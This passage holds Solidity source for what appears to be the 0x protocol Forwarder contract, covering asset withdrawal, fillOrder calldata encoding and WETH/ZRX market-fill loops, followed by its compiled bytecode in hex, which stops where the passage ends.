(address); /// @notice Get the approved address for a single NFT /// @dev Throws if `_tokenId` is not a valid NFT. /// @param _tokenId The NFT to find the approved address for /// @return The approved address for this NFT, or the zero address if there is none function getApproved(uint256 _tokenId) public view returns (address); /// @notice Query if an address is an authorized operator for another address /// @param _owner The address that owns the NFTs /// @param _operator The address that acts on behalf of the owner /// @return True if `_operator` is an approved operator for `_owner`, false otherwise function isApprovedForAll(address _owner, address _operator) public view returns (bool); } /* Copyright 2018 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract MixinAssets is Ownable, LibConstants, MAssets { using LibBytes for bytes; bytes4 constant internal ERC20_TRANSFER_SELECTOR = bytes4(keccak256("transfer(address,uint256)")); /// @dev Withdraws assets from this contract. The contract requires a ZRX balance in order to /// function optimally, and this function allows the ZRX to be withdrawn by owner. It may also be /// used to withdraw assets that were accidentally sent to this contract. /// @param assetData Byte array encoded for the respective asset proxy. /// @param amount Amount of ERC20 token to withdraw. function withdrawAsset( bytes assetData, uint256 amount ) external onlyOwner { transferAssetToSender(assetData, amount); } /// @dev Transfers given amount of asset to sender. /// @param assetData Byte array encoded for the respective asset proxy. /// @param amount Amount of asset to transfer to sender. function transferAssetToSender( bytes memory assetData, uint256 amount ) internal { bytes4 proxyId = assetData.readBytes4(0); if (proxyId == ERC20_DATA_ID) { transferERC20Token(assetData, amount); } else if (proxyId == ERC721_DATA_ID) { transferERC721Token(assetData, amount); } else { revert("UNSUPPORTED_ASSET_PROXY"); } } /// @dev Decodes ERC20 assetData and transfers given amount to sender. /// @param assetData Byte array encoded for the respective asset proxy. /// @param amount Amount of asset to transfer to sender. function transferERC20Token( bytes memory assetData, uint256 amount ) internal { address token = assetData.readAddress(16); // Transfer tokens. // We do a raw call so we can check the success separate // from the return data. bool success = token.call(abi.encodeWithSelector( ERC20_TRANSFER_SELECTOR, msg.sender, amount )); require( success, "TRANSFER_FAILED" ); // Check return data. // If there is no return data, we assume the token incorrectly // does not return a bool. In this case we expect it to revert // on failure, which was handled above. // If the token does return data, we require that it is a single // value that evaluates to true. assembly { if returndatasize { success := 0 if eq(returndatasize, 32) { // First 64 bytes of memory are reserved scratch space returndatacopy(0, 0, 32) success := mload(0) } } } require( success, "TRANSFER_FAILED" ); } /// @dev Decodes ERC721 assetData and transfers given amount to sender. /// @param assetData Byte array encoded for the respective asset proxy. /// @param amount Amount of asset to transfer to sender. function transferERC721Token( bytes memory assetData, uint256 amount ) internal { require( amount == 1, "INVALID_AMOUNT" ); // Decode asset data. address token = assetData.readAddress(16); uint256 tokenId = assetData.readUint256(36); // Perform transfer. IERC721Token(token).transferFrom( address(this), msg.sender, tokenId ); } } /* Copyright 2018 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ /* Copyright 2018 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract LibAbiEncoder { /// @dev ABI encodes calldata for `fillOrder`. /// @param order Order struct containing order specifications. /// @param takerAssetFillAmount Desired amount of takerAsset to sell. /// @param signature Proof that order has been created by maker. /// @return ABI encoded calldata for `fillOrder`. function abiEncodeFillOrder( LibOrder.Order memory order, uint256 takerAssetFillAmount, bytes memory signature ) internal pure returns (bytes memory fillOrderCalldata) { // We need to call MExchangeCore.fillOrder using a delegatecall in // assembly so that we can intercept a call that throws. For this, we // need the input encoded in memory in the Ethereum ABIv2 format [1]. // | Area | Offset | Length | Contents | // | -------- |--------|---------|-------------------------------------------- | // | Header | 0x00 | 4 | function selector | // | Params | | 3 * 32 | function parameters: | // | | 0x00 | | 1. offset to order (*) | // | | 0x20 | | 2. takerAssetFillAmount | // | | 0x40 | | 3. offset to signature (*) | // | Data | | 12 * 32 | order: | // | | 0x000 | | 1. senderAddress | // | | 0x020 | | 2. makerAddress | // | | 0x040 | | 3. takerAddress | // | | 0x060 | | 4. feeRecipientAddress | // | | 0x080 | | 5. makerAssetAmount | // | | 0x0A0 | | 6. takerAssetAmount | // | | 0x0C0 | | 7. makerFeeAmount | // | | 0x0E0 | | 8. takerFeeAmount | // | | 0x100 | | 9. expirationTimeSeconds | // | | 0x120 | | 10. salt | // | | 0x140 | | 11. Offset to makerAssetData (*) | // | | 0x160 | | 12. Offset to takerAssetData (*) | // | | 0x180 | 32 | makerAssetData Length | // | | 0x1A0 | ** | makerAssetData Contents | // | | 0x1C0 | 32 | takerAssetData Length | // | | 0x1E0 | ** | takerAssetData Contents | // | | 0x200 | 32 | signature Length | // | | 0x220 | ** | signature Contents | // * Offsets are calculated from the beginning of the current area: Header, Params, Data: // An offset stored in the Params area is calculated from the beginning of the Params section. // An offset stored in the Data area is calculated from the beginning of the Data section. // ** The length of dynamic array contents are stored in the field immediately preceeding the contents. // [1]: https://solidity.readthedocs.io/en/develop/abi-spec.html assembly { // Areas below may use the following variables: // 1. <area>Start -- Start of this area in memory // 2. <area>End -- End of this area in memory. This value may // be precomputed (before writing contents), // or it may be computed as contents are written. // 3. <area>Offset -- Current offset into area. If an area's End // is precomputed, this variable tracks the // offsets of contents as they are written. /////// Setup Header Area /////// // Load free memory pointer fillOrderCalldata := mload(0x40) // bytes4(keccak256("fillOrder((address,address,address,address,uint256,uint256,uint256,uint256,uint256,uint256,bytes,bytes),uint256,bytes)")) // = 0xb4be83d5 // Leave 0x20 bytes to store the length mstore(add(fillOrderCalldata, 0x20), 0xb4be83d500000000000000000000000000000000000000000000000000000000) let headerAreaEnd := add(fillOrderCalldata, 0x24) /////// Setup Params Area /////// // This area is preallocated and written to later. // This is because we need to fill in offsets that have not yet been calculated. let paramsAreaStart := headerAreaEnd let paramsAreaEnd := add(paramsAreaStart, 0x60) let paramsAreaOffset := paramsAreaStart /////// Setup Data Area /////// let dataAreaStart := paramsAreaEnd let dataAreaEnd := dataAreaStart // Offset from the source data we're reading from let sourceOffset := order // arrayLenBytes and arrayLenWords track the length of a dynamically-allocated bytes array. let arrayLenBytes := 0 let arrayLenWords := 0 /////// Write order Struct /////// // Write memory location of Order, relative to the start of the // parameter list, then increment the paramsAreaOffset respectively. mstore(paramsAreaOffset, sub(dataAreaEnd, paramsAreaStart)) paramsAreaOffset := add(paramsAreaOffset, 0x20) // Write values for each field in the order // It would be nice to use a loop, but we save on gas by writing // the stores sequentially. mstore(dataAreaEnd, mload(sourceOffset)) // makerAddress mstore(add(dataAreaEnd, 0x20), mload(add(sourceOffset, 0x20))) // takerAddress mstore(add(dataAreaEnd, 0x40), mload(add(sourceOffset, 0x40))) // feeRecipientAddress mstore(add(dataAreaEnd, 0x60), mload(add(sourceOffset, 0x60))) // senderAddress mstore(add(dataAreaEnd, 0x80), mload(add(sourceOffset, 0x80))) // makerAssetAmount mstore(add(dataAreaEnd, 0xA0), mload(add(sourceOffset, 0xA0))) // takerAssetAmount mstore(add(dataAreaEnd, 0xC0), mload(add(sourceOffset, 0xC0))) // makerFeeAmount mstore(add(dataAreaEnd, 0xE0), mload(add(sourceOffset, 0xE0))) // takerFeeAmount mstore(add(dataAreaEnd, 0x100), mload(add(sourceOffset, 0x100))) // expirationTimeSeconds mstore(add(dataAreaEnd, 0x120), mload(add(sourceOffset, 0x120))) // salt mstore(add(dataAreaEnd, 0x140), mload(add(sourceOffset, 0x140))) // Offset to makerAssetData mstore(add(dataAreaEnd, 0x160), mload(add(sourceOffset, 0x160))) // Offset to takerAssetData dataAreaEnd := add(dataAreaEnd, 0x180) sourceOffset := add(sourceOffset, 0x180) // Write offset to <order.makerAssetData> mstore(add(dataAreaStart, mul(10, 0x20)), sub(dataAreaEnd, dataAreaStart)) // Calculate length of <order.makerAssetData> sourceOffset := mload(add(order, 0x140)) // makerAssetData arrayLenBytes := mload(sourceOffset) sourceOffset := add(sourceOffset, 0x20) arrayLenWords := div(add(arrayLenBytes, 0x1F), 0x20) // Write length of <order.makerAssetData> mstore(dataAreaEnd, arrayLenBytes) dataAreaEnd := add(dataAreaEnd, 0x20) // Write contents of <order.makerAssetData> for {let i := 0} lt(i, arrayLenWords) {i := add(i, 1)} { mstore(dataAreaEnd, mload(sourceOffset)) dataAreaEnd := add(dataAreaEnd, 0x20) sourceOffset := add(sourceOffset, 0x20) } // Write offset to <order.takerAssetData> mstore(add(dataAreaStart, mul(11, 0x20)), sub(dataAreaEnd, dataAreaStart)) // Calculate length of <order.takerAssetData> sourceOffset := mload(add(order, 0x160)) // takerAssetData arrayLenBytes := mload(sourceOffset) sourceOffset := add(sourceOffset, 0x20) arrayLenWords := div(add(arrayLenBytes, 0x1F), 0x20) // Write length of <order.takerAssetData> mstore(dataAreaEnd, arrayLenBytes) dataAreaEnd := add(dataAreaEnd, 0x20) // Write contents of <order.takerAssetData> for {let i := 0} lt(i, arrayLenWords) {i := add(i, 1)} { mstore(dataAreaEnd, mload(sourceOffset)) dataAreaEnd := add(dataAreaEnd, 0x20) sourceOffset := add(sourceOffset, 0x20) } /////// Write takerAssetFillAmount /////// mstore(paramsAreaOffset, takerAssetFillAmount) paramsAreaOffset := add(paramsAreaOffset, 0x20) /////// Write signature /////// // Write offset to paramsArea mstore(paramsAreaOffset, sub(dataAreaEnd, paramsAreaStart)) // Calculate length of signature sourceOffset := signature arrayLenBytes := mload(sourceOffset) sourceOffset := add(sourceOffset, 0x20) arrayLenWords := div(add(arrayLenBytes, 0x1F), 0x20) // Write length of signature mstore(dataAreaEnd, arrayLenBytes) dataAreaEnd := add(dataAreaEnd, 0x20) // Write contents of signature for {let i := 0} lt(i, arrayLenWords) {i := add(i, 1)} { mstore(dataAreaEnd, mload(sourceOffset)) dataAreaEnd := add(dataAreaEnd, 0x20) sourceOffset := add(sourceOffset, 0x20) } // Set length of calldata mstore(fillOrderCalldata, sub(dataAreaEnd, add(fillOrderCalldata, 0x20))) // Increment free memory pointer mstore(0x40, dataAreaEnd) } return fillOrderCalldata; } } /* Copyright 2018 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ contract MixinExchangeWrapper is LibAbiEncoder, LibFillResults, LibMath, LibConstants, MExchangeWrapper { /// @dev Fills the input order. /// Returns false if the transaction would otherwise revert. /// @param order Order struct containing order specifications. /// @param takerAssetFillAmount Desired amount of takerAsset to sell. /// @param signature Proof that order has been created by maker. /// @return Amounts filled and fees paid by maker and taker. function fillOrderNoThrow( LibOrder.Order memory order, uint256 takerAssetFillAmount, bytes memory signature ) internal returns (FillResults memory fillResults) { // ABI encode calldata for `fillOrder` bytes memory fillOrderCalldata = abiEncodeFillOrder( order, takerAssetFillAmount, signature ); address exchange = address(EXCHANGE); // Call `fillOrder` and handle any exceptions gracefully assembly { let success := call( gas, // forward all gas exchange, // call address of Exchange contract 0, // transfer 0 wei add(fillOrderCalldata, 32), // pointer to start of input (skip array length in first 32 bytes) mload(fillOrderCalldata), // length of input fillOrderCalldata, // write output over input 128 // output size is 128 bytes ) if success { mstore(fillResults, mload(fillOrderCalldata)) mstore(add(fillResults, 32), mload(add(fillOrderCalldata, 32))) mstore(add(fillResults, 64), mload(add(fillOrderCalldata, 64))) mstore(add(fillResults, 96), mload(add(fillOrderCalldata, 96))) } } // fillResults values will be 0 by default if call was unsuccessful return fillResults; } /// @dev Synchronously executes multiple calls of fillOrder until total amount of WETH has been sold by taker. /// Returns false if the transaction would otherwise revert. /// @param orders Array of order specifications. /// @param wethSellAmount Desired amount of WETH to sell. /// @param signatures Proofs that orders have been signed by makers. /// @return Amounts filled and fees paid by makers and taker. function marketSellWeth( LibOrder.Order[] memory orders, uint256 wethSellAmount, bytes[] memory signatures ) internal returns (FillResults memory totalFillResults) { bytes memory makerAssetData = orders[0].makerAssetData; bytes memory wethAssetData = WETH_ASSET_DATA; uint256 ordersLength = orders.length; for (uint256 i = 0; i != ordersLength; i++) { // We assume that asset being bought by taker is the same for each order. // We assume that asset being sold by taker is WETH for each order. orders[i].makerAssetData = makerAssetData; orders[i].takerAssetData = wethAssetData; // Calculate the remaining amount of WETH to sell uint256 remainingTakerAssetFillAmount = safeSub(wethSellAmount, totalFillResults.takerAssetFilledAmount); // Attempt to sell the remaining amount of WETH FillResults memory singleFillResults = fillOrderNoThrow( orders[i], remainingTakerAssetFillAmount, signatures[i] ); // Update amounts filled and fees paid by maker and taker addFillResults(totalFillResults, singleFillResults); // Stop execution if the entire amount of takerAsset has been sold if (totalFillResults.takerAssetFilledAmount >= wethSellAmount) { break; } } return totalFillResults; } /// @dev Synchronously executes multiple fill orders in a single transaction until total amount is bought by taker. /// Returns false if the transaction would otherwise revert. /// The asset being sold by taker must always be WETH. /// @param orders Array of order specifications. /// @param makerAssetFillAmount Desired amount of makerAsset to buy. /// @param signatures Proofs that orders have been signed by makers. /// @return Amounts filled and fees paid by makers and taker. function marketBuyExactAmountWithWeth( LibOrder.Order[] memory orders, uint256 makerAssetFillAmount, bytes[] memory signatures ) internal returns (FillResults memory totalFillResults) { bytes memory makerAssetData = orders[0].makerAssetData; bytes memory wethAssetData = WETH_ASSET_DATA; uint256 ordersLength = orders.length; for (uint256 i = 0; i != ordersLength; i++) { // We assume that asset being bought by taker is the same for each order. // We assume that asset being sold by taker is WETH for each order. orders[i].makerAssetData = makerAssetData; orders[i].takerAssetData = wethAssetData; // Calculate the remaining amount of makerAsset to buy uint256 remainingMakerAssetFillAmount = safeSub(makerAssetFillAmount, totalFillResults.makerAssetFilledAmount); // Convert the remaining amount of makerAsset to buy into remaining amount // of takerAsset to sell, assuming entire amount can be sold in the current order. // We round up because the exchange rate computed by fillOrder rounds in favor // of the Maker. In this case we want to overestimate the amount of takerAsset. uint256 remainingTakerAssetFillAmount = getPartialAmountCeil( orders[i].takerAssetAmount, orders[i].makerAssetAmount, remainingMakerAssetFillAmount ); // Attempt to sell the remaining amount of takerAsset FillResults memory singleFillResults = fillOrderNoThrow( orders[i], remainingTakerAssetFillAmount, signatures[i] ); // Update amounts filled and fees paid by maker and taker addFillResults(totalFillResults, singleFillResults); // Stop execution if the entire amount of makerAsset has been bought uint256 makerAssetFilledAmount = totalFillResults.makerAssetFilledAmount; if (makerAssetFilledAmount >= makerAssetFillAmount) { break; } } require( makerAssetFilledAmount >= makerAssetFillAmount, "COMPLETE_FILL_FAILED" ); return totalFillResults; } /// @dev Buys zrxBuyAmount of ZRX fee tokens, taking into account ZRX fees for each order. This will guarantee /// that at least zrxBuyAmount of ZRX is purchased (sometimes slightly over due to rounding issues). /// It is possible that a request to buy 200 ZRX will require purchasing 202 ZRX /// as 2 ZRX is required to purchase the 200 ZRX fee tokens. This guarantees at least 200 ZRX for future purchases. /// The asset being sold by taker must always be WETH. /// @param orders Array of order specifications containing ZRX as makerAsset and WETH as takerAsset. /// @param zrxBuyAmount Desired amount of ZRX to buy. /// @param signatures Proofs that orders have been created by makers. /// @return totalFillResults Amounts filled and fees paid by maker and taker. function marketBuyExactZrxWithWeth( LibOrder.Order[] memory orders, uint256 zrxBuyAmount, bytes[] memory signatures ) internal returns (FillResults memory totalFillResults) { // Do nothing if zrxBuyAmount == 0 if (zrxBuyAmount == 0) { return totalFillResults; } bytes memory zrxAssetData = ZRX_ASSET_DATA; bytes memory wethAssetData = WETH_ASSET_DATA; uint256 zrxPurchased = 0; uint256 ordersLength = orders.length; for (uint256 i = 0; i != ordersLength; i++) { // All of these are ZRX/WETH, so we can drop the respective assetData from calldata. orders[i].makerAssetData = zrxAssetData; orders[i].takerAssetData = wethAssetData; // Calculate the remaining amount of ZRX to buy. uint256 remainingZrxBuyAmount = safeSub(zrxBuyAmount, zrxPurchased); // Convert the remaining amount of ZRX to buy into remaining amount // of WETH to sell, assuming entire amount can be sold in the current order. // We round up because the exchange rate computed by fillOrder rounds in favor // of the Maker. In this case we want to overestimate the amount of takerAsset. uint256 remainingWethSellAmount = getPartialAmountCeil( orders[i].takerAssetAmount, safeSub(orders[i].makerAssetAmount, orders[i].takerFee), // our exchange rate after fees remainingZrxBuyAmount ); // Attempt to sell the remaining amount of WETH. FillResults memory singleFillResult = fillOrderNoThrow( orders[i], remainingWethSellAmount, signatures[i] ); // Update amounts filled and fees paid by maker and taker. addFillResults(totalFillResults, singleFillResult); zrxPurchased = safeSub(totalFillResults.makerAssetFilledAmount, totalFillResults.takerFeePaid); // Stop execution if the entire amount of ZRX has been bought. if (zrxPurchased >= zrxBuyAmount) { break; } } require( zrxPurchased >= zrxBuyAmount, "COMPLETE_FILL_FAILED" ); return totalFillResults; } } /* Copyright 2018 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // solhint-disable no-empty-blocks contract Forwarder is LibConstants, MixinWeth, MixinAssets, MixinExchangeWrapper, MixinForwarderCore { constructor ( address _exchange, bytes memory _zrxAssetData, bytes memory _wethAssetData ) public LibConstants( _exchange, _zrxAssetData, _wethAssetData ) MixinForwarderCore() {} }
0x60806040526004361061006c5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166318978e8281146100c8578063630f1e6c146100f25780638da5cb5b146101125780639395525c14610134578063f2fde38b14610147575b60025473ffffffffffffffffffffffffffffffffffffffff1633146100c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100bd90612388565b60405180910390fd5b005b6100db6100d6366004611df1565b610167565b6040516100e9929190612488565b60405180910390f35b3480156100fe57600080fd5b506100c661010d366004611eec565b6102f7565b34801561011e57600080fd5b50610127610388565b6040516100e99190612337565b6100db610142366004611d0b565b6103a4565b34801561015357600080fd5b506100c6610162366004611ce5565b61050a565b61016f6119fa565b6101776119fa565b6000806101826105bb565b60048054604080516020601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff610100600188161502019095169490940493840181900481028201810190925282815261025c939092909183018282801561022d5780601f106102025761010080835404028352916020019161022d565b820191906000526020600020905b81548152906001019060200180831161021057829003601f168201915b50505050508c600081518110151561024157fe5b6020908102909101015161014001519063ffffffff61069616565b156102875761026c8b8b8b6107c3565b935061028084600001518560600151610ac1565b90506102ae565b6102928b8b8b610b03565b9350836060015191506102a68883896107c3565b845190935090505b6102c2846020015184602001518888610d15565b6102e98b60008151811015156102d457fe5b90602001906020020151610140015182610f29565b505097509795505050505050565b60005473ffffffffffffffffffffffffffffffffffffffff163314610348576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100bd90612438565b61038383838080601f01602080910402602001604051908101604052809392919081815260200183838082843750879450610f299350505050565b505050565b60005473ffffffffffffffffffffffffffffffffffffffff1681565b6103ac6119fa565b6103b46119fa565b60008060006103c16105bb565b60048054604080516020601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6101006001881615020190951694909404938401819004810282018101909252828152610441939092909183018282801561022d5780601f106102025761010080835404028352916020019161022d565b156104925761046a670de0b6b3a7640000610464670de0b6b3a76400008a611045565b3461108f565b92506104778b848c6110e7565b945061048b85600001518660600151610ac1565b90506104d6565b6104ad670d2f13f7789f0000670de0b6b3a76400003461108f565b92506104ba8b848c6110e7565b9450846060015191506104ce89838a6107c3565b855190945090505b6104ea856020015185602001518989610d15565b6104fc8b60008151811015156102d457fe5b505050965096945050505050565b60005473ffffffffffffffffffffffffffffffffffffffff16331461055b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100bd90612438565b73ffffffffffffffffffffffffffffffffffffffff8116156105b857600080547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff83161790555b50565b600034116105f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100bd90612398565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d0e30db0346040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004016000604051808303818588803b15801561067b57600080fd5b505af115801561068f573d6000803e3d6000fd5b5050505050565b6000815183511480156107ba5750816040518082805190602001908083835b602083106106f257805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe090920191602091820191016106b5565b51815160209384036101000a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0180199092169116179052604051919093018190038120885190955088945090928392508401908083835b6020831061078757805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0909201916020918201910161074a565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902060001916145b90505b92915050565b6107cb6119fa565b60608060008060008060006107de6119fa565b8a15156107ea57610ab2565b6004805460408051602060026001851615610100027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0190941693909304601f8101849004840282018401909252818152929183018282801561088e5780601f106108635761010080835404028352916020019161088e565b820191906000526020600020905b81548152906001019060200180831161087157829003601f168201915b505060058054604080516020601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6101006001881615020190951694909404938401819004810282018101909252828152969e509194509250840190508282801561093d5780601f106109125761010080835404028352916020019161093d565b820191906000526020600020905b81548152906001019060200180831161092057829003601f168201915b50505050509650600095508b519450600093505b838514610a7857878c8581518110151561096757fe5b6020908102909101015161014001528b5187908d908690811061098657fe5b60209081029091010151610160015261099f8b87610ac1565b9250610a068c858151811015156109b257fe5b9060200190602002015160a00151610a008e878151811015156109d157fe5b90602001906020020151608001518f888151811015156109ed57fe5b9060200190602002015160e00151610ac1565b8561128b565b9150610a418c85815181101515610a1957fe5b90602001906020020151838c87815181101515610a3257fe5b906020019060200201516112e6565b9050610a4d898261135e565b610a5f89600001518a60600151610ac1565b95508a8610610a6d57610a78565b600190930192610951565b8a861015610ab2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100bd90612418565b50505050505050509392505050565b600082821115610afd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100bd906123b8565b50900390565b610b0b6119fa565b606080600080600080610b1c6119fa565b60008b6000815181101515610b2d57fe5b6020908102919091018101516101400151600580546040805160026001841615610100027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0190931692909204601f8101869004860283018601909152808252929b5092909190830182828015610be55780601f10610bba57610100808354040283529160200191610be5565b820191906000526020600020905b815481529060010190602001808311610bc857829003601f168201915b505050505096508b519550600094505b848614610cdb57878c86815181101515610c0b57fe5b6020908102909101015161014001528b5187908d9087908110610c2a57fe5b6020908102909101015161016001528851610c46908c90610ac1565b9350610c898c86815181101515610c5957fe5b9060200190602002015160a001518d87815181101515610c7557fe5b90602001906020020151608001518661128b565b9250610cb58c86815181101515610c9c57fe5b90602001906020020151848c88815181101515610a3257fe5b9150610cc1898361135e565b5087518a8110610cd057610cdb565b600190940193610bf5565b8a811015610ab2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100bd90612418565b600080808066b1a2bc2ec50000861115610d5b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100bd90612448565b610d658888611045565b935034841115610da1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100bd906123a8565b610dab3485610ac1565b9250610dc086670de0b6b3a76400008a61108f565b915082821115610dfc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100bd90612428565b6000831115610f1f576002546040517f2e1a7d4d00000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff90911690632e1a7d4d90610e5b9086906004016124a4565b600060405180830381600087803b158015610e7557600080fd5b505af1158015610e89573d6000803e3d6000fd5b505050506000821115610edb5760405173ffffffffffffffffffffffffffffffffffffffff86169083156108fc029084906000818181858888f19350505050158015610ed9573d6000803e3d6000fd5b505b610ee58383610ac1565b90506000811115610f1f57604051339082156108fc029083906000818181858888f19350505050158015610f1d573d6000803e3d6000fd5b505b5050505050505050565b6000610f3b838263ffffffff6113c016565b604080517f4552433230546f6b656e28616464726573732900000000000000000000000000815290519081900360130190209091507fffffffff0000000000000000000000000000000000000000000000000000000080831691161415610fab57610fa6838361142d565b610383565b604080517f455243373231546f6b656e28616464726573732c75696e7432353629000000008152905190819003601c0190207fffffffff000000000000000000000000000000000000000000000000000000008281169116141561101357610fa6838361161b565b6040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100bd906123f8565b600082820183811015611084576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100bd906123e8565b8091505b5092915050565b60008083116110ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100bd906123d8565b6110dd6110d78584611703565b8461175e565b90505b9392505050565b6110ef6119fa565b60608060008060006110ff6119fa565b89600081518110151561110e57fe5b6020908102919091018101516101400151600580546040805160026001841615610100027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0190931692909204601f8101869004860283018601909152808252929950929091908301828280156111c65780601f1061119b576101008083540402835291602001916111c6565b820191906000526020600020905b8154815290600101906020018083116111a957829003601f168201915b5050505050945089519350600092505b82841461127e57858a848151811015156111ec57fe5b602090810290910101516101400152895185908b908590811061120b57fe5b90602001906020020151610160018190525061122b898860200151610ac1565b91506112578a8481518110151561123e57fe5b90602001906020020151838a86815181101515610a3257fe5b9050611263878261135e565b602087015189116112735761127e565b6001909201916111d6565b5050505050509392505050565b60008083116112c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100bd906123d8565b6110dd6110d76112d68685611703565b6112e1866001610ac1565b611045565b6112ee6119fa565b606060006112fd868686611775565b600154815191935073ffffffffffffffffffffffffffffffffffffffff1691506080908390602082016000855af1801561135457825184526020830151602085015260408301516040850152606083015160608501525b5050509392505050565b8151815161136c9190611045565b8252602080830151908201516113829190611045565b60208301526040808301519082015161139b9190611045565b6040830152606080830151908201516113b49190611045565b60609092019190915250565b600081600401835110151515611402576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100bd90612468565b5001602001517fffffffff000000000000000000000000000000000000000000000000000000001690565b60008061144184601063ffffffff61194716565b604080517f7472616e7366657228616464726573732c75696e7432353629000000000000008152905190819003601901812091935073ffffffffffffffffffffffffffffffffffffffff8416919061149f903390879060240161236d565b604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08184030181529181526020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fffffffff000000000000000000000000000000000000000000000000000000009094169390931783525181519192909182919080838360005b8381101561154357818101518382015260200161152b565b50505050905090810190601f1680156115705780820380516001836020036101000a031916815260200191505b509150506000604051808303816000865af1925050508015156115bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100bd90612408565b3d156115dc575060003d602014156115dc5760206000803e506000515b801515611615576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100bd90612408565b50505050565b60008060018314611658576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100bd90612478565b61166984601063ffffffff61194716565b915061167c84602463ffffffff6119a816565b6040517f23b872dd00000000000000000000000000000000000000000000000000000000815290915073ffffffffffffffffffffffffffffffffffffffff8316906323b872dd906116d590309033908690600401612345565b600060405180830381600087803b1580156116ef57600080fd5b505af1158015610f1f573d6000803e3d6000fd5b6000808315156117165760009150611088565b5082820282848281151561172657fe5b0414611084576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100bd906123e8565b600080828481151561176c57fe5b04949350505050565b604080517fb4be83d5000000000000000000000000000000000000000000000000000000006020808301919091526060602483018181528751608485019081528884015160a48601529488015160c48501529087015160e4840152608087015161010484015260a087015161012484015260c087015161014484015260e08701516101648401526101008701516101848401526101208701516101a4840152610140870180516101c485019081526101608901516101e4860152610180905251805161020485018190529394919384936044870192849261022489019291820191601f82010460005b8181101561187c57835185526020948501949093019260010161185e565b50505050818103610160808401919091528a0151805180835260209283019291820191601f82010460005b818110156118c55783518552602094850194909301926001016118a7565b50505089845250848103602093840190815288518083529093918201918981019190601f82010460005b8181101561190d5783518552602094850194909301926001016118ef565b5050507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08883030188525060405250505050509392505050565b600081601401835110151515611989576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100bd90612458565b50016014015173ffffffffffffffffffffffffffffffffffffffff1690565b60006107ba83836000816020018351101515156119f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100bd906123c8565b50016020015190565b608060405190810160405280600081526020016000815260200160008152602001600081525090565b60006107ba8235612540565b6000601f82018313611a4057600080fd5b8135611a53611a4e826124d9565b6124b2565b81815260209384019390925082018360005b83811015611a915781358601611a7b8882611b41565b8452506020928301929190910190600101611a65565b5050505092915050565b6000601f82018313611aac57600080fd5b8135611aba611a4e826124d9565b81815260209384019390925082018360005b83811015611a915781358601611ae28882611b90565b8452506020928301929190910190600101611acc565b600080601f83018413611b0a57600080f